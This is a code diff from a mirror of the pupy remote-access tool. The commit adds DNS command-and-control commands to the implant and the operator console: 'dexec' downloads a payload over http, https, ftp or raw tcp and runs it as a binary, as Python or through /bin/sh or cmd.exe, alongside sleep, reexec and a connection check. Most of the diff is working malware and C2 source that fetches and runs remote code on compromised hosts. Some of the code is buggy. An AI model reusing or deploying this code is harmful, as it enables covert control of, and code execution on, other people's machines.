mirror of https://github.com/n1nj4sec/pupy.git
Add new DNSCNC commands - dexec, sleep, reexec
This commit is contained in:
parent
fc585d60a6
commit
8c4688becf
|
@ -10,6 +10,7 @@ import socket
|
|||
import os
|
||||
|
||||
import logging
|
||||
import subprocess
|
||||
|
||||
class DNSCommandClientLauncher(DnsCommandsClient):
|
||||
def __init__(self, domain):
|
||||
|
@ -28,6 +29,9 @@ class DNSCommandClientLauncher(DnsCommandsClient):
|
|||
|
||||
DnsCommandsClient.__init__(self, domain, key=key)
|
||||
|
||||
def on_downloadexec_content(self, url, action, content):
|
||||
self.on_pastelink_content(url, action, content)
|
||||
|
||||
def on_pastelink_content(self, url, action, content):
|
||||
if action.startswith('exec'):
|
||||
with tempfile.NamedTemporaryFile() as tmp:
|
||||
|
@ -41,6 +45,34 @@ class DNSCommandClientLauncher(DnsCommandsClient):
|
|||
exec content
|
||||
except Exception as e:
|
||||
logging.exception(e)
|
||||
elif action.startswith('sh'):
|
||||
try:
|
||||
pipe = None
|
||||
if platform.system == 'Windows':
|
||||
kwargs = {
|
||||
'stdin': subprocess.PIPE
|
||||
}
|
||||
|
||||
if hasattr(subprocess, 'STARTUPINFO'):
|
||||
startupinfo = subprocess.STARTUPINFO()
|
||||
startupinfo.dwFlags |= \
|
||||
subprocess.CREATE_NEW_CONSOLE | \
|
||||
subprocess.STARTF_USESHOWWINDOW
|
||||
|
||||
kwargs.update({
|
||||
'startupinfo': startupinfo,
|
||||
})
|
||||
|
||||
pipe = subprocess.Pipe('cmd.exe', **kwargs)
|
||||
else:
|
||||
pipe = subprocess.Popen(['/bin/sh'], stdin=subprocess.PIPE)
|
||||
|
||||
pipe.stdin.write(content)
|
||||
pipe.stdin.close()
|
||||
pipe.communicate()
|
||||
|
||||
except Exception as e:
|
||||
logging.exception(e)
|
||||
|
||||
def on_connect(self, ip, port, transport):
|
||||
with self.lock:
|
||||
|
|
|
@ -15,6 +15,7 @@ import zlib
|
|||
import tempfile
|
||||
import subprocess
|
||||
import logging
|
||||
import urllib
|
||||
import urllib2
|
||||
|
||||
from ecpv import ECPV
|
||||
|
@ -22,12 +23,73 @@ from picocmd import *
|
|||
|
||||
from threading import Thread
|
||||
|
||||
class TCPFile(StringIO.StringIO):
|
||||
pass
|
||||
|
||||
class TCPReaderHandler(urllib2.BaseHandler):
|
||||
def tcp_open(self, req):
|
||||
addr = req.get_host().rsplit(':', 1)
|
||||
host = addr[0]
|
||||
if len(addr) == 1:
|
||||
port = 53
|
||||
else:
|
||||
port = addr[1]
|
||||
|
||||
data = []
|
||||
conn = socket.create_connection((host, port))
|
||||
conn.settimeout(30)
|
||||
|
||||
try:
|
||||
while True:
|
||||
b = conn.recv(65535)
|
||||
if not b:
|
||||
break
|
||||
|
||||
data.append(b)
|
||||
|
||||
if not data:
|
||||
raise ValueError('No data')
|
||||
except:
|
||||
pass
|
||||
|
||||
data = b''.join(data)
|
||||
|
||||
fp = TCPFile(data)
|
||||
if data:
|
||||
headers = {
|
||||
'Content-type': 'application/octet-stream',
|
||||
'Content-length': len(data),
|
||||
}
|
||||
code = 200
|
||||
else:
|
||||
headers = {}
|
||||
code = 404
|
||||
|
||||
return urllib.addinfourl(fp, headers, req.get_full_url(), code=code)
|
||||
|
||||
urllib2.install_opener(
|
||||
urllib2.build_opener(TCPReaderHandler())
|
||||
)
|
||||
|
||||
class DnsCommandClientDecodingError(Exception):
|
||||
pass
|
||||
|
||||
__DEBUG = 0
|
||||
|
||||
if __DEBUG:
|
||||
import dns.resolver
|
||||
resolver = dns.resolver.Resolver()
|
||||
resolver.nameservers = [ '127.0.0.1' ]
|
||||
resolver.port = 5454
|
||||
socket.gethostbyname_ex = lambda x: (None, None, [
|
||||
str(rdata) for rdata in resolver.query(x, 'A')
|
||||
])
|
||||
|
||||
class DnsCommandsClient(Thread):
|
||||
def __init__(self, domain, key):
|
||||
self.domain = domain
|
||||
self.domains = domain.split(',')
|
||||
self.domain_id = 0
|
||||
self.domain = self.domains[self.domain_id]
|
||||
self.translation = dict(zip(
|
||||
''.join([
|
||||
''.join([chr(x) for x in xrange(ord('A'), ord('Z') + 1)]),
|
||||
|
@ -48,6 +110,9 @@ class DnsCommandsClient(Thread):
|
|||
|
||||
Thread.__init__(self)
|
||||
|
||||
def next(self):
|
||||
self.domain_id = ( self.domain + 1 ) % len(self.domains)
|
||||
self.domain = self.domains[self.domain_id]
|
||||
|
||||
def _a_page_decoder(self, addresses, nonce, symmetric=None):
|
||||
if symmetric is None:
|
||||
|
@ -107,6 +172,7 @@ class DnsCommandsClient(Thread):
|
|||
|
||||
except socket.error as e:
|
||||
logging.error('DNSCNC: Communication error: {}'.format(e))
|
||||
self.next()
|
||||
return []
|
||||
|
||||
response = None
|
||||
|
@ -157,12 +223,32 @@ class DnsCommandsClient(Thread):
|
|||
except Exception as e:
|
||||
logging.exception(e)
|
||||
|
||||
def on_downloadexec(self, url, action, use_proxy):
|
||||
if use_proxy:
|
||||
opener = urllib2.build_opener(urllib2.ProxyHandler()).open
|
||||
else:
|
||||
opener = urllib2.urlopen
|
||||
|
||||
try:
|
||||
response = opener(url)
|
||||
if response.code == 200:
|
||||
self.on_downloadexec_content(url, action, response.read())
|
||||
|
||||
except Exception as e:
|
||||
logging.exception(e)
|
||||
|
||||
def on_pastelink_content(self, url, action, content):
|
||||
pass
|
||||
|
||||
def on_downloadexec_content(self, url, action, content):
|
||||
pass
|
||||
|
||||
def on_connect(self, ip, port, transport):
|
||||
pass
|
||||
|
||||
def on_checkconnect(self, host, port_start, port_end=None):
|
||||
pass
|
||||
|
||||
def on_exit(self):
|
||||
self.active = False
|
||||
|
||||
|
@ -202,6 +288,8 @@ class DnsCommandsClient(Thread):
|
|||
response))
|
||||
elif isinstance(command, PasteLink):
|
||||
self.on_pastelink(command.url, command.action, self.encoder)
|
||||
elif isinstance(command, DownloadExec):
|
||||
self.on_downloadexec(command.url, command.action, command.proxy)
|
||||
elif isinstance(command, Connect):
|
||||
self.on_connect(command.ip, command.port, transport=command.transport)
|
||||
elif isinstance(command, Error):
|
||||
|
@ -210,6 +298,8 @@ class DnsCommandsClient(Thread):
|
|||
self.on_disconnect()
|
||||
elif isinstance(command, Sleep):
|
||||
time.sleep(command.timeout)
|
||||
elif isinstance(command, CheckConnect):
|
||||
self.on_checkconnect(command.host, command.port_start, port_end=command.port_end)
|
||||
elif isinstance(command, Reexec):
|
||||
executable = os.readlink('/proc/self/exe')
|
||||
args = open('/proc/self/cmdline').read().split('\x00')
|
||||
|
|
|
@ -12,6 +12,9 @@ import platform
|
|||
import uuid
|
||||
import uptime
|
||||
import urllib2
|
||||
import urlparse
|
||||
import StringIO
|
||||
import socket
|
||||
|
||||
def from_bytes(bytes):
|
||||
return sum(ord(byte) * (256**i) for i, byte in enumerate(bytes))
|
||||
|
@ -70,18 +73,41 @@ class Sleep(Command):
|
|||
@staticmethod
|
||||
def unpack(data):
|
||||
return Sleep(
|
||||
struct.unpack_from('<H', data)
|
||||
struct.unpack_from('<H', data)[0]
|
||||
), struct.calcsize('<H')
|
||||
|
||||
def pack(self):
|
||||
return struct.pack('<H', self.timeout)
|
||||
|
||||
def __init__(self, timeout=30):
|
||||
self.timeout = timeout
|
||||
self.timeout = int(timeout)
|
||||
|
||||
def __repr__(self):
|
||||
return '{{SLEEP: {}}}'.format(self.timeout)
|
||||
|
||||
class CheckConnect(Command):
|
||||
@staticmethod
|
||||
def unpack(data):
|
||||
host, port_start, port_end = struct.unpack_from('IHH', data)
|
||||
return CheckConnect(
|
||||
host, port_start, port_end
|
||||
), struct.calcsize('IHH')
|
||||
|
||||
def __init__(self, host, port_start, port_end=None):
|
||||
self.host = netaddr.IPAddress(host)
|
||||
self.port_start = port_start
|
||||
self.port_end = None if port_end == 0 else port_end
|
||||
|
||||
def pack(self):
|
||||
return struct.pack(
|
||||
'IHH',
|
||||
int(self.host), int(self.port_start), int(self.port_end)
|
||||
)
|
||||
|
||||
def __repr__(self):
|
||||
return '{{CHECK: {}:{}-{}}}'.format(
|
||||
self.host, self.port_start, self.port_end)
|
||||
|
||||
class Reexec(Command):
|
||||
@staticmethod
|
||||
def unpack(data):
|
||||
|
@ -297,6 +323,85 @@ class Connect(Command):
|
|||
|
||||
return Connect(host, port, transport), 1+length
|
||||
|
||||
class DownloadExec(Command):
|
||||
# 2 bits - 3 max
|
||||
well_known_downloadexec_action_decode = dict(enumerate([
|
||||
'pyexec', 'exec', 'sh'
|
||||
]))
|
||||
|
||||
well_known_downloadexec_action_encode = {
|
||||
v:k for k,v in well_known_downloadexec_action_decode.iteritems()
|
||||
}
|
||||
|
||||
# 3 bits - 7 max
|
||||
well_known_downloadexec_scheme_decode = dict(enumerate([
|
||||
'http', 'https', 'ftp', 'tcp'
|
||||
]))
|
||||
|
||||
well_known_downloadexec_scheme_encode = {
|
||||
v:k for k,v in well_known_downloadexec_scheme_decode.iteritems()
|
||||
}
|
||||
|
||||
def __init__(self, url, action='pyexec', proxy=False):
|
||||
self.proxy = bool(proxy)
|
||||
self.url = url
|
||||
self.action = action
|
||||
if not self.url in ('http', 'https'):
|
||||
self.proxy = False
|
||||
|
||||
def pack(self):
|
||||
try:
|
||||
action = self.well_known_downloadexec_action_encode[self.action]
|
||||
except:
|
||||
raise ValueError('Unknown action: {}'.format(self.action))
|
||||
|
||||
url = urlparse.urlparse(self.url)
|
||||
|
||||
addr = netaddr.IPAddress(url.hostname)
|
||||
if not addr.version == 4:
|
||||
raise ValueError('IPv6 unsupported')
|
||||
|
||||
addr = int(addr)
|
||||
port = int(url.port)
|
||||
path = url.path
|
||||
|
||||
if len(path) > 16:
|
||||
raise ValueError('Too big url path')
|
||||
|
||||
try:
|
||||
scheme = self.well_known_downloadexec_scheme_encode[
|
||||
url.scheme
|
||||
]
|
||||
except:
|
||||
raise ValueError('Unknown scheme: {}'.format(url.scheme))
|
||||
|
||||
code = (self.proxy << 5) | (action << 3) | scheme
|
||||
|
||||
return struct.pack(
|
||||
'BIHB', code, addr, port, len(path)
|
||||
) + path
|
||||
|
||||
def __repr__(self):
|
||||
return '{{DEXEC: URL={} ACTION={} PROXY={}}}'.format(
|
||||
self.url, self.action, self.proxy
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def unpack(data):
|
||||
bsize = struct.calcsize('BIHB')
|
||||
code, addr, port, plen = struct.unpack_from('BIHB', data)
|
||||
action = DownloadExec.well_known_downloadexec_action_decode[(code >> 3) & 3]
|
||||
scheme = DownloadExec.well_known_downloadexec_scheme_decode[code & 7]
|
||||
proxy = bool((code >> 5) & 1)
|
||||
host = str(netaddr.IPAddress(addr))
|
||||
port = ':{}'.format(port) if port else (
|
||||
'' if scheme in ('http', 'ftp', 'https') else 53
|
||||
)
|
||||
path = data[bsize:plen]
|
||||
return DownloadExec('{}://{}{}{}'.format(
|
||||
scheme, host, port, path
|
||||
), action, proxy), bsize+plen
|
||||
|
||||
class PasteLink(Command):
|
||||
internet_required = True
|
||||
|
||||
|
@ -349,7 +454,7 @@ class PasteLink(Command):
|
|||
|
||||
# 4 max - 2 bits
|
||||
well_known_pastebin_action_decode = dict(enumerate([
|
||||
'pyexec', 'exec'
|
||||
'pyexec', 'exec', 'sh'
|
||||
]))
|
||||
|
||||
well_known_pastebin_action_encode = {
|
||||
|
@ -467,7 +572,7 @@ class Parcel(object):
|
|||
commands = [
|
||||
Poll, Ack, Policy, Idle, Kex,
|
||||
Connect, PasteLink, SystemInfo, Error, Disconnect, Exit,
|
||||
Sleep, Reexec
|
||||
Sleep, Reexec, DownloadExec, CheckConnect
|
||||
]
|
||||
|
||||
commands_decode = dict(enumerate(commands))
|
||||
|
|
|
@ -25,17 +25,26 @@ from ecpv import ECPV
|
|||
from threading import Thread, RLock, Event
|
||||
|
||||
class Session(object):
|
||||
def __init__(self, spi, encoder, commands):
|
||||
def __init__(self, spi, encoder, commands, timeout):
|
||||
self.spi = spi
|
||||
self._start = time.time()
|
||||
self._encoder = encoder
|
||||
self._last_access = 0
|
||||
self._timeout = timeout
|
||||
self.system_info = None
|
||||
self.commands = commands
|
||||
self.last_nonce = None
|
||||
self.last_qname = None
|
||||
self.cache = {}
|
||||
|
||||
@property
|
||||
def timeout(self):
|
||||
return ( self.idle > self._timeout )
|
||||
|
||||
@timeout.setter
|
||||
def timeout(self, value):
|
||||
self._timeout = value
|
||||
|
||||
@property
|
||||
def idle(self):
|
||||
return int(time.time() - self._last_access)
|
||||
|
@ -206,19 +215,42 @@ class DnsCommandServerHandler(BaseResolver):
|
|||
]
|
||||
|
||||
@locked
|
||||
def set_policy(self, kex=True, timeout=None, interval=None):
|
||||
def set_policy(self, kex=True, timeout=None, interval=None, node=None):
|
||||
if kex == self.kex and self.timeout == timeout and self.interval == self.interval:
|
||||
return
|
||||
|
||||
if interval and interval < 30:
|
||||
raise ValueError('Interval should not be less then 30s to avoid DNS storm')
|
||||
|
||||
self.interval = interval or self.interval
|
||||
self.timeout = max(timeout if timeout else self.timeout, self.interval*3)
|
||||
self.kex = kex if ( kex is not None ) else self.kex
|
||||
if node and (interval or timeout):
|
||||
session = self.find_sessions(
|
||||
spi=node) or self.find_sessions(node=node)
|
||||
|
||||
cmd = Policy(self.interval, self.kex)
|
||||
return self.add_command(cmd)
|
||||
if session:
|
||||
session = session[0]
|
||||
|
||||
if interval:
|
||||
session.timeout = (interval*3)
|
||||
else:
|
||||
interval = self.interval
|
||||
|
||||
if timeout:
|
||||
session.timeout = timeout
|
||||
|
||||
if kex is None:
|
||||
kex = self.kex
|
||||
|
||||
else:
|
||||
self.interval = interval or self.interval
|
||||
self.timeout = max(timeout if timeout else self.timeout, self.interval*3)
|
||||
self.kex = kex if ( kex is not None ) else self.kex
|
||||
|
||||
interval = self.interval
|
||||
timeout = self.timeout
|
||||
kex = self.kex
|
||||
|
||||
cmd = Policy(interval, kex)
|
||||
return self.add_command(cmd, session=node)
|
||||
|
||||
@locked
|
||||
def encode_pastelink_content(self, content):
|
||||
|
@ -333,7 +365,8 @@ class DnsCommandServerHandler(BaseResolver):
|
|||
self.sessions[command.spi] = Session(
|
||||
command.spi,
|
||||
self.encoder.clone(),
|
||||
self.commands
|
||||
self.commands,
|
||||
self.timeout
|
||||
)
|
||||
|
||||
encoder = self.sessions[command.spi].encoder
|
||||
|
|
|
@ -684,6 +684,10 @@ class PupyCmd(cmd.Cmd):
|
|||
|
||||
arg_parser = PupyArgumentParser(
|
||||
prog='dnscnc', description=self.do_dnscnc.__doc__)
|
||||
arg_parser.add_argument('-n', '--node', help='Send command only to this node (or session)')
|
||||
arg_parser.add_argument('-d', '--default', action='store_true', default=False,
|
||||
help='Set command as default for new connections')
|
||||
|
||||
commands = arg_parser.add_subparsers(title='commands', dest='command')
|
||||
status = commands.add_parser('status', help='DNSCNC status')
|
||||
clist = commands.add_parser('list', help='List known DNSCNC clients')
|
||||
|
@ -694,36 +698,33 @@ class PupyCmd(cmd.Cmd):
|
|||
policy.add_argument('-t', '--timeout', type=int, help='Set session timeout')
|
||||
|
||||
connect = commands.add_parser('connect', help='Request reverse connection')
|
||||
connect.add_argument('-n', '--node', help='Send command only to this node')
|
||||
connect.add_argument('-d', '--default', action='store_true', default=False,
|
||||
help='Set command as default for new connections')
|
||||
connect.add_argument('-c', '--host', help='Manually specify external IP address for connection')
|
||||
connect.add_argument('-p', '--port', help='Manually specify external PORT for connection')
|
||||
connect.add_argument('-t', '--transport', help='Manually specify transport for connection')
|
||||
|
||||
reset = commands.add_parser('reset', help='Reset scheduled commands')
|
||||
reset.add_argument('-n', '--node', help='Remove all commands for specified node')
|
||||
reset.add_argument('-d', '--default', action='store_true', default=False,
|
||||
help='Remove all default commands')
|
||||
disconnect = commands.add_parser('disconnect', help='Request disconnection')
|
||||
disconnect.add_argument('-d', '--default', action='store_true', default=False,
|
||||
help='Set command as default for new connections')
|
||||
disconnect.add_argument('-n', '--node', help='Send command only to this node')
|
||||
|
||||
exit = commands.add_parser('exit', help='Request exit')
|
||||
exit.add_argument('-d', '--default', action='store_true', default=False,
|
||||
help='Set command as default for new connections')
|
||||
exit.add_argument('-n', '--node', help='Send command only to this node')
|
||||
reexec = commands.add_parser('reexec', help='Try to reexec module')
|
||||
|
||||
pastelink = commands.add_parser('pastelink', help='Execute code by link')
|
||||
pastelink.add_argument('-a', '--action', choices=['exec', 'pyexec'], default='pyexec',
|
||||
help='Action - execute as executable, or evaluate as python code')
|
||||
sleep = commands.add_parser('sleep', help='Postpone any activity')
|
||||
sleep.add_argument('-t', '--timeout', default=10, type=int, help='Timeout (seconds)')
|
||||
|
||||
pastelink = commands.add_parser('pastelink', help='Execute code by link to pastebin service')
|
||||
pastelink.add_argument('-a', '--action', choices=['exec', 'pyexec', 'sh'], default='pyexec',
|
||||
help='Action - execute as executable, or evaluate as python/sh code')
|
||||
pastelink_src = pastelink.add_mutually_exclusive_group(required=True)
|
||||
pastelink_src.add_argument('-c', '--create', help='Create new pastelink from file')
|
||||
pastelink_src.add_argument('-u', '--url', help='Specify existing URL')
|
||||
pastelink.add_argument('-d', '--default', action='store_true', default=False,
|
||||
help='Set command as default for new connections')
|
||||
pastelink.add_argument('-n', '--node', help='Send command only to this node')
|
||||
|
||||
dexec = commands.add_parser('dexec', help='Execute code by link to service controlled by you')
|
||||
dexec.add_argument('-a', '--action', choices=['exec', 'pyexec', 'sh'], default='pyexec',
|
||||
help='Action - execute as executable, or evaluate as python/sh code')
|
||||
dexec.add_argument('-u', '--url', required=True, help='URL to data')
|
||||
dexec.add_argument('-p', '--proxy', action='store_true', default=False,
|
||||
help='Ask to use system proxy (http/https only)')
|
||||
|
||||
exit = commands.add_parser('exit', help='Request exit')
|
||||
|
||||
try:
|
||||
args = arg_parser.parse_args(shlex.split(arg))
|
||||
|
@ -802,7 +803,7 @@ class PupyCmd(cmd.Cmd):
|
|||
if all([x is None for x in [args.kex, args.timeout, args.poll]]):
|
||||
self.display_error('No arguments provided.')
|
||||
else:
|
||||
count = self.dnscnc.set_policy(args.kex, args.timeout, args.poll)
|
||||
count = self.dnscnc.set_policy(args.kex, args.timeout, args.poll, node=args.node)
|
||||
if count:
|
||||
self.display_success('Apply policy to {} known nodes'.format(count))
|
||||
|
||||
|
@ -853,12 +854,49 @@ class PupyCmd(cmd.Cmd):
|
|||
elif args.node:
|
||||
self.display_error('Node {} not found'.format(args.node))
|
||||
|
||||
elif args.command == 'reexec':
|
||||
count = self.dnscnc.reexec(
|
||||
node=args.node,
|
||||
default=args.default
|
||||
)
|
||||
|
||||
if count:
|
||||
self.display_success('Schedule reexec to {} known nodes'.format(count))
|
||||
elif args.node:
|
||||
self.display_error('Node {} not found'.format(args.node))
|
||||
|
||||
elif args.command == 'sleep':
|
||||
count = self.dnscnc.sleep(
|
||||
args.timeout,
|
||||
node=args.node,
|
||||
default=args.default
|
||||
)
|
||||
|
||||
if count:
|
||||
self.display_success('Schedule sleep to {} known nodes'.format(count))
|
||||
elif args.node:
|
||||
self.display_error('Node {} not found'.format(args.node))
|
||||
|
||||
elif args.command == 'dexec':
|
||||
count = self.dnscnc.dexec(
|
||||
args.url,
|
||||
args.action,
|
||||
proxy=args.proxy,
|
||||
node=args.node,
|
||||
default=args.default
|
||||
)
|
||||
|
||||
if count:
|
||||
self.display_success('Schedule sleep to {} known nodes'.format(count))
|
||||
elif args.node:
|
||||
self.display_error('Node {} not found'.format(args.node))
|
||||
|
||||
elif args.command == 'pastelink':
|
||||
try:
|
||||
count, url = self.dnscnc.pastelink(
|
||||
content=args.create,
|
||||
url=args.url,
|
||||
action=args.action,
|
||||
args.url,
|
||||
args.action,
|
||||
proxy=args.proxy,
|
||||
node=args.node,
|
||||
default=args.default
|
||||
)
|
||||
|
|
|
@ -33,12 +33,26 @@ class PupyDnsCommandServerHandler(DnsCommandServerHandler):
|
|||
def disconnect(self, node=None, default=False):
|
||||
return self.add_command(Disconnect(), session=node, default=default)
|
||||
|
||||
def reexec(self, node=None, default=False):
|
||||
return self.add_command(Reexec(), session=node, default=default)
|
||||
|
||||
def sleep(self, timeout, node=None, default=False):
|
||||
return self.add_command(Sleep(timeout), session=node, default=default)
|
||||
|
||||
def exit(self, node=None, default=False):
|
||||
return self.add_command(Exit(), session=node, default=default)
|
||||
|
||||
def pastelink(self, url, action, node=None, default=None):
|
||||
return self.add_command(PasteLink(url, action=action), session=node, default=default)
|
||||
def dexec(self, url, action, proxy=False, node=None, default=None):
|
||||
return self.add_command(
|
||||
DownloadExec(url, action=action, proxy=proxy),
|
||||
session=node, default=default
|
||||
)
|
||||
|
||||
def pastelink(self, url, action, node=None, default=None):
|
||||
return self.add_command(
|
||||
PasteLink(url, action=action),
|
||||
session=node, default=default
|
||||
)
|
||||
|
||||
class PupyDnsCnc(object):
|
||||
def __init__(
|
||||
|
@ -95,9 +109,18 @@ class PupyDnsCnc(object):
|
|||
def exit(self, **kwargs):
|
||||
return self.handler.exit(**kwargs)
|
||||
|
||||
def sleep(self, *args, **kwargs):
|
||||
return self.handler.sleep(*args, **kwargs)
|
||||
|
||||
def reexec(self, **kwargs):
|
||||
return self.handler.reexec(**kwargs)
|
||||
|
||||
def reset(self, **kwargs):
|
||||
return self.handler.reset_commands(**kwargs)
|
||||
|
||||
def dexec(self, *args, **kwargs):
|
||||
return self.handler.dexec(*args, **kwargs)
|
||||
|
||||
def pastelink(self, content=None, url=None, action='pyeval', node=None, default=False):
|
||||
if not ( content or url ):
|
||||
raise ValueError('content and url args are empty')
|
||||
|
@ -134,8 +157,8 @@ class PupyDnsCnc(object):
|
|||
'kex': self.handler.kex,
|
||||
}
|
||||
|
||||
def set_policy(self, kex, timeout, interval):
|
||||
return self.handler.set_policy(kex=kex, timeout=timeout, interval=interval)
|
||||
def set_policy(self, *args, **kwargs):
|
||||
return self.handler.set_policy(*args, **kwargs)
|
||||
|
||||
@property
|
||||
def dirty(self):
|
||||
|
|
Loading…
Reference in New Issue